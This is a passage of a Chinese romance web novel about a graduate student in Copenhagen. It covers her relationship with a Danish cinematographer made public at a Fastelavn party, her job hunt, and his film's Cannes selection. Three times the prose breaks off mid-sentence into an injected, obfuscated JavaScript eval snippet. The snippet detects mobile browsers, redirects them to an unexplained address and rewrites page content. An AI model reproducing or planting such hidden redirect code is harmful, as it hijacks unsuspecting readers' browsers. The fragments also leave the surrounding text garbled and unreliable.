——姐姐的丈夫叫姐夫,哥哥的丈夫叫兄夫,女儿的妻子叫女媳…… “儿子的妻子叫什么?”在考察伊莎贝拉的掌握情况时,龙秉月试探性问道。 “儿媳。” 伊莎贝拉一副好学的态度,依然没有任何异样。倒是龙秉月自己愣了一下。 上完课从一楼的书房出来,龙秉月反思到这件事,不由得感叹。 她真是日子过得无波无折了,就想找点刺激。结果呢,老天没眼,一点刺激不给她。 后来她给安宴说了这件事,安宴的反应倒是有一点点刺激。 他说:“不是我在追你么?这一下子快进到你成她儿媳,她没反应也正常。” “谁哪里成她儿媳了……”龙秉月心里一惊,下意识反驳。这话题还太早,太早。 “不是你自己说的?转眼翻脸不认人啊。”安宴说是这么说,随即又贴心地为她转换了话题,换话题速度比她“翻脸”还要快,“先在CAMERARAW里调整色彩,Gamma曲线可以选择REDLogFilm……” 冬日的严寒常常阻止龙秉月出门,学习和工作又玩不出花,为了让日子不那么单调,只能变着花样谈恋爱了。 最近几天的花样,是安宴教她摄影和后期。 学门技术总是好的,学会了就永远是自己的了。能力是比爱情更有保障的东西。 虽然他们是情侣,不是技能交换的搭档,用不着算得太清楚,但她也认真想了一下她能给出什么类似的回报,结果发现:没有。 总不能教安宴读文献和写论文吧? 都怪他会中文,害她没什么可教的。 或许……教他怎么当一名合格的外语老师?这样以后他还可以教她丹麦语,受益者又成了她,嘿嘿。 “发什么呆呢,怎么不操作?”安宴一边问龙秉月,一边把右手覆在了她握着鼠标的手上,“非得要我手、把、手、教你是吧。” 安宴在这里教着她影像的后期处理,另一边他才杀青不久的电影也在紧锣密鼓的后期剪辑制作中。 他的职责很少,只需要偶尔去趟导演和剪辑师的工作室。 总体而言是个闲人,至少看起来如此。 “你怎么就不觉得生活单调无聊啊?”龙秉月抱怨道。 她同时想到,是不是自己前二十多年的人生填得太满了,总有各种各样的事要做:大家都做所以我也做的事,别人期待我做所以我去做的事,我为了做想做的事而不得不先做的其它事,我真正想做的事…… 到现在,闲下来了反而不适应了,像个不愿退休的老人渴求着工作。 或许这也是一种对于完全掌控人生的恐惧。 安宴没有这样的烦恼,他似乎只烦恼:“单调?无聊?你是不是不爱我了?” 下一瞬,语气从可怜兮兮切换成暧昧撩人:“看来我做得还不够。每天变着法子满足你,让你不觉得单调无聊,我怎么会无聊呢?” - 渐渐地,龙秉月调整心态,适应生活的新节奏,告别了时常滋生的单调感受。 另一个重要原因是——春节就要到了。节庆和对节庆的期待,更新了人对生活的感知。 过去在国内,她和很多人一样,觉得春节逐年变得无趣,越来越没有“年味儿”。 出国后才发现节日习俗在自己心中有多深刻,激起的感受有多美好。 今年的春节更是不一般,和丹麦的狂欢节(Fastelavn)恰好是相连的两天。 春节的日子由农历而定,狂欢节的日子取决于当年复活节在哪天。两者的日期每年都变,十分难得能挨着,关键还刚好赶上周末两天。 为此,学校里的中国留学生和本地学生联合起来举办活动,策划了从除夕到狂欢节次日,四天三夜的连续72小时派对。 他们包下了学校食堂,可容纳数百人,热热闹闹,气氛满分。 龙秉月前三天都约了朋友们一起去,安宴也悄悄跟着去。两人没有接触或交流,只在众目睽睽之下眉目传情。 以及,从眼睁睁看着对方不断被搭讪,到饶有趣味地看着对方被搭讪。 除夕的夜里,派对第一天之后,龙秉月在安宴的脖子上留下吻痕:“看看明天还有没有不长眼的人去跟你调情。” 至此已变成play的一环,只有情趣,没有醋意。 安宴乐于接受她的印记,笑着回:“我是不是也得礼尚往来?” “别别别。”龙秉月连忙阻止,她毕竟是赴朋友之约,不太想成为朋友们八卦的焦点,“我戴个戒指就好了。” 对这种场合,她早有准备,跨年晚饭的时候也用上了。 “你早说啊,我也可以戴。”安宴伸手拉开床头柜的抽屉,从里面取出了一枚戒指。 和她的那枚很像,无论是细钻的颜色,还是排列方式,看起来都是情侣款。 “你哪变出来的戒指?”龙秉月讶异道。 “学跨年那晚的你呗。但话说回来,这样治标不治本。不想彼此被搭讪,公开一起去就好了。” “那魅力double了,万一有人同时搭讪我们两个人,要加入我们怎么办?”龙秉月又开始发挥多余的想象力,“想想你才拍完的电影,不就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972720|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样嘛。” “……电影里不是三人行,只是主角有三个人。”安宴无奈道。 电影创作者应该不喜欢自己的作品被过度误解,但他对她总是无限包容。 “反正先不要啦,明天看看效果再说。”龙秉月一锤定音。 结果第二天的派对上,搭讪安宴的人更多了——吻痕仿佛宣告着前一天有人成功,而他身边又没有对象陪伴着。 连昨天失败的人都再次跃跃欲试。 龙秉月完全失算,目瞪口呆。竟然还能这样?自己的道行还是太浅了。 更让她意外的是,这一波搭讪风潮甚至带动了她的朋友。 “快看那个帅哥,昨晚战况一定很激烈,不知道是谁这么幸运。”和她一起来的郑沛蓝说。 “幸运?大喇喇地露着吻痕,感觉有点随便,你千万别动心。”知道内幕的喻琳试图挽尊。 “长成那个样子,随便一点怎么了?我也可以和他随便一下。”郑沛蓝压根没听出喻琳话中的深意,“我本来已经对北欧人审美疲劳了,看到他我觉得我又行了。” 龙秉月觉得自己不能再沉默下去,有必要尽早把失去朋友的可能性降为零。 “可能不太行。” 郑沛蓝显然理解错了:“什么意思?这你都觉得不帅吗?” 也怪她自己话没说明白,遂一口气说清楚:“他是我男朋友。” “啊???真的假的?什么时候的事?”郑沛蓝受到冲击之下,嘴巴停不下来,“对不起啊刚才只是口嗨……哎呀八卦比搭讪有意思多了……你们虽然不是一个种族的但好有夫妻相啊。” 一连串一连串的话冒出来,根本不给龙秉月空隙来回答。 以为终于能插上话了,她又开始喃喃自语:“原来夫妻相是跨民族的。琳儿你说是不是?月月的咖啡色瞳孔好像都比以前绿了点,现在是茶色。” ? 朋友你这话说得就有点离谱了,怎么可能影响到基因。 龙秉月虽然觉得离谱,但还是掏出手机,打开前置摄像头近距离瞧了瞧自己的眼睛。 同时叹气道:“为什么不能身高夫妻相一点呢?” 在这件事上,郑沛蓝有发言权:“身高差不就是夫妻相的一种嘛!不过你要是想长个,猛喝牛奶啊,我给你分享过这个秘诀吧。” “上次跟你说的时候我才长高了一厘米,这又大半年过去了,我总共长高快两厘米了!” 龙秉月继续叹气:“我喝的牛奶比你还多,一点用没有。” “别灰心。”郑沛蓝拍了拍她的肩,“可能上帝给你打开了优质男朋友这扇门,就给你关上了喝奶长高这扇窗。总归你不吃亏哈。” “不过,你们来派对两天都不搭理对方,是地下恋爱还是冷战啊?” 她再一次不等龙秉月回答,自己排除了一个选项:“不对,那吻痕一点不冷,劲爆着呢。” “嗯……算是地下吧,基本没人知道。” “为什么?Why?换了谁不想向全世界宣告自己男朋友这么帅。” “我其实也没有很懂我自己,可能是想要纯粹的两人间的爱情,不掺杂其它任何东西吧。” “公开就不纯粹了吗,那我们的友谊……” 这时喻琳插嘴:“她脑子就是转不过来弯。类似的话我也说过,白搭。” 龙秉月接着道:“道理我都懂,我也很不满社会规范的束缚:友谊就可以是两个人的事,同时不排他;爱情排他且牵涉家庭,复杂百倍。凭什么,不就比朋友多了性吗?” “只多了性?”一道声音插了进来,打断她们的对话。 44. 第四十四章 “只多了性?” 带着热气的语句和细密的吻一并落在龙秉月的眼角、耳畔、唇边。 安宴拥着她,在床上,气氛恰到好处。本该水到渠成的,水却不管不顾地流向了其它地方。 “你和朋友也这样亲亲吗?” “你和朋友也天天一起睡觉吗?” “你和朋友也躺在床上虚度光阴吗?” “你和朋友也天天说这么多垃圾话吗?” …… 无休止的挑逗,无休止的吻,说着“多了性”,唇舌相接中却不带任何情欲,单纯只为亲近。 只为证明再明白不过的一个道理。 他们之间当然不止多了情爱。 还有更强烈的情感纽带和依赖。 龙秉月避开安宴的吻,往他怀里钻,脸贴在他的胸口上:“我错了还不行嘛,你别欺负我啦……” 派对上在朋友面前的一句无心之言,被他惦记到现在,玩了一天回家后也不让她早点休息,禁锢她在身前,一件件数着那些专属于两个人的事。 “你会毫无负担地住在朋友家里吗?”安宴还没完。 “谁说我没有负担啦?我才没有吃白食,我是光荣的家庭教师!”龙秉月理所当然地反驳。让她住进来的始作俑者竟然倒打一耙,不能惯着他。 “嗯,龙老师。教教我……” 安宴停顿了一下。他把“龙老师”叫得色气满满,龙秉月以为他要说出什么惊人的话,心脏嘭嘭加快了跳动。 但他只是说:“怎么爱你?” 简单的,俗气的,笼统的,让人漫无边际思考而难以具体回答的。 龙秉月和安宴枕在同一个枕头上,眼睛对着眼睛,相距不过五厘米。 她喜欢这样的姿势,可以正对着他的脸,身高差在此消弭。 脚刚好能蹭上他的小腿肚,来来回回,柔软而有弹性,是她情绪最好的安抚剂。 如果有人问她,她觉得安宴最性感的地方是哪里,她会毫不犹豫地回答“小腿”。 长着蓬勃有力的肌肉,又总是为她而变得柔和松弛。 像他这个人一样。 怎么爱她?这问题就好像平均绩点3.99的超级学霸问怎么拿满绩一样,难说是在炫耀,还是真的至臻至善。 一万个人里有9999个都是前者,但她相信安宴是后者。 龙秉月没有回答,以问代答,自言自语一般说道:“为什么偏偏是对你产生全身心依恋呢?” 她又缩进了安宴的怀里,话语在他的胸前震荡出回音。比起疑问,她其实更多是在感叹,好幸运爱上了他。 全身心依恋——她自然明白她对他的感情。不过有一类人,总要想清楚了才去行动。爱情往往来得不明不白,让这类人不甘心。 人怎么可以搞不懂自己,搞不懂自己身上发生的事情。 另一类人则喜欢在行动中驱散迷茫。或许,他们本来就不知道“迷茫”情绪为何物。 “为什么呢?”安宴说,“比起为什么爱,我更在意怎么爱。第一个问题朝向过去,第二个朝向未来。” 大抵一见钟情的人都不喜欢问为什么,对视一眼就能感到灵魂能量共振。因缘,宿命,天注定,就是为什么。 龙秉月自认没这个本事,或者有这个本事但没有发现自己的爱的本事。一路摸索,缓慢确认,直到最后一秒都在怀疑。 怀疑完当下的自己,再怀疑曾经的自己。总归不好好向前看。 安宴伸手捧住她倚靠在他胸前的脸:“看着我。” “刚才漏说了,你也经常烦恼为什么和朋友成为朋友吗?” 问题即答案,疑惑就是爱。 龙秉月鼓起腮帮子感受安宴的掌心。就是这双手,还有这双眼,在她尚不自知时蛊惑了她。 - 和世界上大部分节日一样,丹麦狂欢节的习俗包含大吃大喝,吃好喝好。 派对第三天,食物从丰盛中餐摇身变成狂欢节特色美食:各种高糖的面包甜点。 最经典的是一种长相酷似奶油泡芙的甜点,上面还撒着厚厚的糖霜。只消看一眼,都不用吃,就会甜得牙疼。 在餐台的尽头,临时围起来一块地,搭了舞台。上方悬着自制的“木桶”。 狂欢节的趣味活动“打木桶里的猫”正在进行中—— 参与者轮流用木棍敲打木桶,一直打到它破裂,里面的糖果和猫咪玩偶掉落在地上。 第一个打破木桶的人将获得King的称号,打落最后一片木板的人则获得Queen的称号。 因为来参加派对的学生太多,第一个参与者通过抽签选出,他敲打完后再从观众里随机选出第二人,之后第二人选择第三人,以此类推。 没被选上的同学也不要灰心,派对还有丰富的活动。 龙秉月和喻琳、郑沛蓝在外侧围观,完全置身事外,纷纷猜测着还要打几下木桶才会破。 尽管前一天安宴擅自闯入她们的对话,在她朋友面前公开亮了相,今天他们还是保持着一定距离。 男朋友人气太高了,她可不想主动成为众人八卦的对象。在朋友身边最安全,低调。 喻琳说三下,郑沛蓝说五下,龙秉月说:“我赌一下。” 不曾想下一瞬,她突然被点名上台。 选她的那个人是谁?还真随机选啊?她以为大家倾向于选自己认识的人呢,毕竟活动有奖品。 她懵懵懂懂走上台,从一个热情开朗的美国男生手里接过木棍,他下台的时候还在喊:“记住了,我叫Dave!如果你成为国王,请再选我上台!” 他不是随便说说,确实没规定一人只能敲打一次。 龙秉月赌一下不是没有理由的。她眼尖地看到了即将破裂之处,只需要稍稍给点力,那里就会断掉。 她只是没想到国王荣誉就这样落在她手里。 “Wow!恭喜这位女士成为今天的国王!注意,接下来直到最后木桶完全破裂,敲打的人选都由你来决定。下面请选择下一个打木桶的人。” 龙秉月思考了一瞬后,充分发挥吃水不忘挖井人的精神,叫了Dave上台——既然人家给了她机会,她就还个顺水人情,免得以后他再以此为借口接近她。 反正木桶不可能一下就破完,下一个人只会是炮灰。 场外起哄声响起,她清者自清,相当淡定,为某人的臭脸色偷笑着。 她的眼神依然很好,足以称霸这个游戏。但也是因为一切尽在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997706|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌握,丧失了未知带来的游戏乐趣。 到了再打一下就结束的时候,龙秉月指着安宴说道:“我想邀请那边那位黑色卷发、穿香芋色上衣的高个帅哥上台。” 安宴站着不动,定定地看着她,眼色暧昧不明。 随后在全场更加响亮的起哄声中,才迈开脚步,缓缓朝她走来。 这游戏他不陌生,从小就掌握技巧,方才也一直盯着,想等到该他上场的时候暗示她。不料她的本事同样很强。 安宴看似轻轻一敲,实则使出了吃奶的力气。绝对不能掉以轻心,把和她配对的称号拱手让人。 没有意外。 “恭喜这位男士当选王后!请站到国王身边。” 龙国王和安王后并肩站在台上,隔着一段距离,谁也不看谁,表情淡漠,似乎显得疏离。 台下没有人能猜到,等下将会发生什么。 主持人开始解释本次派对新增的特别规则:拿了称号后,要想拿奖品,他们还要再完成两项任务。 任务一:国王怀抱猫咪玩偶,王后手捧糖果,两人合影。 任务二:国王赠送猫咪玩偶给王后,王后剥开糖果喂国王吃。 再简单不过的任务。 然而笨蛋王后没做对,他剥开包装纸后,把糖果送到了自己嘴里。 “这位王后,你可能没听清规则,糖果是要喂给国王的哦。”主持人好心提醒。 台下一片哗然:不愧是拒绝了所有搭讪的高冷人气王,不情不愿上了台,原来是为了拆台啊! “喂?”安宴歪着头,露出疑惑的表情,紧接着却又一副恍然大悟的样子,“哦,我明白了,是这样吧。” 王后走近国王,俯下身来,吻住她。 灵活的舌头撬开她的唇齿,把糖果渡到了她的嘴里。 他们接过很多甜甜的吻,巧克力味的,奶油味的,椰蓉味的,甚至是红糖味的——在她痛经的时候,靠接吻来转移注意力,缓解疼痛。 有用吗?不好说,大概起作用的是止痛药。 那些吻统统不及这个甜。 众目睽睽下突如其来的吻,格外刺激,让感官变得格外敏感。糖果在口中化开,溶在不分彼此的唾液里。 龙秉月隐隐有些担忧,安宴偏偏不给她挣脱的机会。 观众们更是没有反应过来。起初在惊愕:这是强吻吗?要不要阻止? 但是男方无比熟练的姿势、紧紧箍着对方身体的双臂,女方配合的动作、紧张之后放松下来的身体,无一不表露着亲昵和占有欲。 至此,本次三日狂欢派对十大未解之谜之一“吻痕是谁留下的”,谜底终于揭晓。 糖果只剩一小半的时候,王后才堪堪放开国王,撤离后又在嘴角落下一吻,似在安抚,又似在盖章炫耀。 主持人一时间无话,好在台下安静一瞬后就爆发出欢呼声,打破了冷场。 龙秉月仍在应激状态中,不敢相信自己做了什么,对外界失去了反应。只呆呆地微笑着,被安宴牵着下了台,离开了活动现场。 国王送给王后的猫咪玩偶,又回到了国王的怀里。 连带着一句任性的话一起。 “你不告诉我怎么爱你,我就决定以自己的方式来了。” 45. 第四十五章 在狂欢节派对上被迫霸道秀恩爱的当晚,龙秉月的微信、ins和脸书上都收到了祝福或八卦的消息。 ——国王和王后的合影被主办方发到了各个社交媒体,并且“贴心”艾特出了本校学生龙秉月的账号。 在ins和脸书上,如果账号被提及,那么帖子将不只在发帖人主页显示,也会出现在被提及者的时间线上。 于是龙秉月的好友都看到了。 帖子下面甚至有眼尖的人认出来安宴是电影摄影师,哪怕他并没有大众意义上的热门作品。 看来……哥本哈根大学的电影研究确实是强势学科没错。 对龙秉月来说,这一波恋情公开来得猝不及防。 奇怪的是,她并没有因此产生负面情绪。不生气,不焦虑,不沮丧,不委屈。 除了一开始有些不知所措。 在回家的路上,以及到家之后,她机械地回复着断断续续进来的消息。 还没有完整的时间体味自己的心情,心情就已经被别人的看法装点,之后要深挖才看得清了。 别人说,俊男靓女好般配。 别人说,高调秀恩爱,他好爱你,慕了慕了。 别人说,恭喜呀,这下你有机会无痛拿永居了。 …… 在外人那里显然是一段光鲜亮丽的关系,当众亮相是皆大欢喜的结果。 而她呢,她当时的第一反应是她想一个人静静。 跟安宴从派对现场出来后,他们坐在校园里的河边吹风。 冬日夜晚的校园十分静谧,从室内到室外,仿佛跨入另一个世界。 不远处是圆柱形状的学生公寓,设计灵感来自中国福建的客家土楼。作为地标建筑,它恰好位于这个校区的中心位置,相当吸睛。 安宴顺着龙秉月的目光看过去,颇有暗示意味地说:“中西结合是最好的。” “嗯。”龙秉月麻木地点点头,没多说话。冷风也吹不清醒她拒绝思考的脑子,只想这样发着呆,无限拖延面对的时间。 她刚才悄悄给喻琳发了消息,说晚上想去跟她一起睡。 结果被无情地拒绝,不让她去住。 【你不要逃避啊!!!!!】 对方加了很多个感叹号。 拜托,那可是她每月都有付租金的公寓! 不过喻琳说得有道理,她已经逃避半年了,今晚发生的事情不能撤回,只能接受。 “没有事先和你商量就这么做,本来应该说抱歉的,但我这次不想说。”安宴把龙秉月搂进怀里,为她挡风,“不能再原地打转了,我得逼你一把。” “嗯。”龙秉月依然是点头,弧度加大,头发在安宴胸前蹭得凌乱。 “相信我,不会有事的。不会影响我们的关系的。” 听着安宴坚定的话语,龙秉月忽然想到小时候学骑自行车的经历。 家长说好会一直在她身后,帮她扶着后座,她绝对不会摔倒。 但他们还是会悄悄松手,像每个这么做的家长一样。 龙秉月是这样顺利学会骑车的,蹬出一段距离后才发现身后已没有人在扶着,她可以靠自己保持平衡。 可是有些小孩没那么幸运,直接摔倒在地,留下一生的伤疤。 因为拥有好运,她才更加担心幸运女神不再眷顾她。常常悲观,害怕失去,小心翼翼不敢迈出一步。 现在安宴推了她一把。 他在前方等她很久了,又回过头来推她一把。 告诉她,尽管大胆向前走,不会有影响。 是吗? 月亮不说话,唯有月光跳跃在水面上。 - 一星期过去。 龙秉月发现,狂欢节派对事件似乎真的没有影响。大家不断追求新的热点,转眼就忘记他们的事。 此外,她已经没有课了,不需要去学校,不用担心碰见熟人被调侃而不好意思。 除了那晚涌来的消息,她的世界还是一如既往清静。 在学校或在同龄人之间公开恋爱状态不算什么,难办的其实是家庭,以及异国。 说起来,从跨年到现在,快两个月过去了,父母那边竟然毫无动静。 妈妈能忍住就算了,过年的时候难得三人视频,爸爸也没有提起这件事,只凶凶地说:“毕业了赶紧回来,两年不回家像什么样!” 相比从前,态度似乎有所软化。不知道是一无所知,还是总算认了。 至于异国嘛…… 龙秉月依然维持先前的看法:暂且不告诉安宴她毕业后打算回国,以免因此发生矛盾。 等到最后一刻再说,让未来几个月尽可能无忧无虑地享受恋爱时光。 胆怯的心态照样没改。 过一天算一天。 - 一个月过去。 国王和王后仿佛根本不曾在打木桶后高调激吻,朋友再没提起过,连两位主角自己都忘了。 如果龙秉月不主动提,她的朋友们几乎想不起安宴这个人。 就算她提起,朋友们的反应也和听到她说“今天早上我吃了罂粟籽丹麦酥”没有两样。 爱情毕竟只是生活的一小部分,别人的爱情就更是如此了。 尤其是毕业在即,身份转换的关键时期,日常对话渐渐被“数据跑不出来,论文要拉坨大的了”“宝宝有空吗可以帮我看看简历哪里能改进吗”等等占领。 在提交日期前一个多月,龙秉月就早早完成了毕业论文初稿,发给导师等待修改建议。 她在皇家图书馆的媒介实习也步入了尾声。 同一时间,国内的应届生春招正在如火如荼地进行着。 但龙秉月不着急,姑且浏览着招聘网站/app、公众号、社交媒体上的信息,一份简历都没有投。 作为留学生,在去年秋季和今年春秋一共三次校招中,都可以享受应届生身份,比国内大学毕业生多了一次校招机会。 这样的特权是很多人松弛感的来源,但她并非因此才不着急的。 她只是不喜欢广撒网,更乐意精准投递。而目前,她还没有找到工作上的Mr.Right。 梦寐以求的工作,命中注定的工作,你到底在哪里—— 龙秉月自嘲地想,她谁也怪不得。 在这个竞争激烈,要求履历清晰垂直的时代,她反其道而行之追求广阔的体验,造就了如今东一榔头西一棒槌式的学习工作经历。 后悔吗,当然也不后悔。 她在每一个当下都选择了那时的她感兴趣的方向,所有的当下汇聚成今日的自己。 这是她一层层亲手搭建的房屋。正是由于她不嫌弃其中任何一块砖,房屋才能够一直屹立不倒。 - 两个月过去。 龙秉月提交了毕业论文终稿,也进行了两场工作面试,每次都败兴而归。 找工作是双向选择的过程,面试中感受到的种种不和,想必以后会在工作中加倍。 她两次都快刀斩乱麻,直接在面试结束前表达双方不合适,却总被教育太天真,不懂职场规则。 最烦人的是招聘要求不写清楚,简历也给她通过,到面试了上来一句:“我觉得你更适合继续读博,而不是就业。” Hello?这位面试官你是职业生涯规划课的老师吗? 求职战线拉得越长,龙秉月就越羡慕安宴清晰的职业生涯。 她常常想找他倾倒苦水,却总是多有顾虑。 首先,不能明说她在找中国的工作,只能诉说迷茫的情绪。 其次,安宴似乎又接了新的工作,频繁地往外跑,问他做什么他又支支吾吾不说,导致她的倾诉欲也下降。 最后,相处的时间变得有限,大多被用来做那些情侣间的事。 龙秉月刚一提起“你未来的工作……”,就被打断:“宝贝专心点,这种时候就不要聊工作了。” 也不能说他打断得无情,毕竟他超级热情,很快就让她说不出话来。 这是她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019987|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天中最放松的时刻,沉溺于感官享受,忘记其它的烦恼。 世界缩小到只剩这间房的一隅。 事后温存的时候,安宴再提起她之前的话,她反而觉得破坏气氛,后来索性都不再提起了。 安宴的忙碌一直到四月中旬才停下来,这恰好是戛纳电影节公布官方入选片单的时间。 直到发布会前,戛纳选片团队才能确定片单,通知入选片方;在发布会后,还会另外再补录个别影片。 上午,龙秉月在安宴的房间,和他一起紧张地观看发布会直播,再次询问道:“你们收到戛纳的消息了吗?” “我不知道,导演和制片人都没说,让我们自己看直播。” 真会拿捏人心。 一切尘埃落定前,各种小道消息在社交媒体上满天飞。 龙秉月同时刷着推特和微博,看到微博上有个电影博主发:【有点人脉。之梦联合制片的某部电影入围了戛纳主竞赛。】 戛纳宣布片单的单元顺序是:特别展映,非竞赛展映,一种关注,主竞赛。 现在还没开始宣特别展映,之梦参与的所有电影的演员粉丝,因为这条微博,都纷纷开始对号入座,提前自豪起来。 不过,之梦影视传媒……那是她昨晚才投递的公司。如果小道消息属实,一定有更多竞争对手出现,徒增她的压力。 大概率是属实的,所以他们才偏偏在昨天发布招聘信息。 而其中一个职位,简直为她量身定做。 龙秉月把手机界面从微博切到微信公众号的招聘推文,又津津有味地读了一遍—— 【国际合作专员】 *职位描述* 1.配合部门策划制作中外合拍项目,翻译整理相关资料、文件、剧本等。 2.对接外方工作人员和剧组成员,在项目筹备期担任文化顾问,处理中国市场和文化相关咨询。 3.协助制片管理,帮助统筹协调拍摄安排等,必要时跟组拍摄。 4.协助后期制作及宣传等工作,负责与后期公司、媒体等各方进行联络、协调等。 *职位要求* 1.影视、传媒、外语专业本科及以上学历,有海外学习工作经验者优先。 2.中英双语流利,英语可作为工作语言,了解中外传统和流行文化。 3.熟悉影视制作流程,对影视拍摄感兴趣,愿意出差外拍。 4.具备较强的沟通合作能力和抗压能力,能在快节奏的工作环境中同时处理多项任务。 5.最迟六月底到岗,前期可线上配合相关工作。 不管第几遍读,她都会奇妙地产生一种志在必得的感觉,好像有个写着她名字的赛博名牌就放在这个职位上面。 她的经历,说难听点,堪称乱七八糟、没有方向和条理。 可是这份工作的每项描述和要求都能对应上她的经历,她的每段经历也都能在其中找到归属。就连时间也是这么刚好。 每每想到每每感叹,所以过去做的事都不会白做,人生是拼图,拼好之前当然显得杂乱。 现在她拼起来了。 “非竞赛展映已经宣布完了。”安宴的声音把龙秉月拉回现实,对上眼前的屏幕。 法国人的语速真够快的,一点不拖泥带水,稍不注意就只剩两个竞赛单元了。 她登时加倍紧张起来。 “你怎么比我还紧张。”安宴笑了,轻轻地拉住她的双手,帮她缓解焦虑,“放心,就算我们的电影没入选,我也不会食言的。” 元旦那天她完成了“没有空隙”的挑战,奖品是戛纳电影节N日游。 谢天谢地,同一单元内的宣布次序,是按照导演姓氏的首字母顺序。 龙秉月不需要紧张太久,就听到电影节总监念出她期待已久的名字: “一种关注单元:《雪,绒,花》(Sneen,DandHana),导演:卡斯帕·霍尔特。” 他们五月要一起去戛纳了。 46. 第四十六章 【雪和花是异父异母的兄妹,绒是邻居家的男孩。三人在十八岁高中毕业后,整日无所事事,共同虚度着青春。初冬的一天,他们决定偷走家里的车,开车前往丹麦最北边的海岸。】 戛纳电影节官网很快就更新了入围影片的信息。 龙秉月缩在懒人沙发里,笔记本电脑歪着架在腿上,屏幕上正是《雪,绒,花》的影片详情页。 剧情简介文字平淡,却暗含丰富的信息,留下很多钩子。 比如:三个角色的关系,为什么毕业后不上学也不工作,去最北边做什么,偷车有没有成功。 简介左侧的电影海报,是女主的上半身特写。她有个日语名字,模样也是亚洲面孔。 她坐在汽车后座上,似乎睡着了,脑袋歪歪斜斜地靠着车窗。窗外景色模糊,一片灰白,没有色彩。 喔,所以是成功偷到了吧。 网页向下滑动,来到了主创名单版块。摄影是仅次于导演和编剧的第三位,龙秉月心中泛起了一点点骄傲。 时常有编剧人员呼吁行业和观众加大对编剧工作的重视,不要看到电影只想到导演。那其他人员呢。 拜托,摄影师也需要的! 继续向下有两张剧照。不同于彩色海报,剧照都是黑白的。 第一张,三人相隔一定距离漫步在海边,沙滩上积着稀稀落落的雪。大海占据了画面的三分之二,浪花泛起成堆的泡沫,在黑白照片中比雪更像雪。 第二张,三人一同骑着一辆自行车,一个人在前座,两个人在后座。绝对超载的行为,在雪后湿滑的小路上。女主夹在两个男主中间,伸长双臂仰着头欢笑,一扫上张孤独冷冽的氛围。 假象,欢快只是假象。 龙秉月想到了拍摄期间安宴沉浸在电影里的情绪,可能甚至连第一张放在整部电影里,都算是快乐的。 “看什么呢?”身侧一下子温暖起来,是安宴靠了过来。 旁边明明就有空的懒人沙发,他不坐,非要挤到她身下的这张上面。 就像剧照里两人挤在同一个自行车后座上。 看什么呢?再显眼不过了,他都看到了还明知故问。 “我在研究你们的竞争对手。”龙秉月手快地把页面退回了入围影片总览。 安宴笑了笑,没有拆穿:“不如研究研究评审团的口味。” 一种关注单元的奖项由且仅由五人评审团选出,比起质量过硬,影片恰好对上评委口味更有可能获奖。 换句话说,运气成分很高。 “对哦,有道理。”龙秉月说着,当真打开了搜索引擎,开始搜索评审团主席在过往采访中透露过的观影喜好。 “……我说笑的,别研究了,来试试裙子。”对于她的认真,安宴略有些无奈。 “你又给我买衣服啦?” “嗯,戛纳的礼服。” “!!!”下意识激动过后,龙秉月才明白些什么,“等等,我不要走红毯啊,脸皮薄,太羞耻了。” “不用走,你穿着美美的就行。” 安宴直接帮她合上电脑放到一边,打横抱起她,去了衣帽间。 “我试裙子,你过来做什么?” “帮你系后面的带子。” “喂,带子不是这么系的吧……” - 今年戛纳电影节的举办时间是5月14~25日。排片表在开幕前一周左右公开,《雪,绒,花》被安排在了最黄金的时段:首周末,周日。 剧组主创都只有首映前后一两天待在戛纳,但安宴老早就给他和龙秉月订好了全程的酒店。 毕竟,他不只是来工作,更是来度假的。 而龙秉月,是来度假的,也是来工作的。 ——四月中旬,戛纳公布片单的第二天,她收到了之梦公司发来的简历通过筛选的邮件,做了一套奇奇怪怪、让人颇为担心出题人精神状态的笔试题后,进入了面试阶段。 约定的一面时间是丹麦时间早上8点,北京时间下午15点。 她按时进入视频会议室,却迟迟不见面试官进来,打电话过去也没人接听。 或许这也是面试考验的一环,但晾着人玩不管怎么说对方都理亏。 龙秉月不想表演了,给HR发短信说明情况后,就趴在电脑前补觉,面前竖了一张纸,纸上写:【面试官你好,来了叫醒我。】 曾经的她一去不复返。早八对现在的她来说,太早了。但并不是她一个人牺牲,恋爱以来,两人为了配合彼此的作息都调整了不少。 被叫醒是近两小时后的事情了。 面试官叫蒋天然,如果拿到offer,她也会是未来的小老板,直属上司。 对方上来道歉:“不好意思,我忘了下午还有面试,睡过头了。不过我看你也在睡,感觉咱俩这面试能成。” ? 龙秉月嗅到了一股该死的迷人的草台班子气息。 当然,她不至于真的以为人家是草台班子,好歹公司的成绩在那放着。 面试过程果然很正规,也很“正常”,和笔试题相比来说。 直到最后。 蒋天然说:“最后一个问题,你觉得我们公司为什么起名叫之梦?” 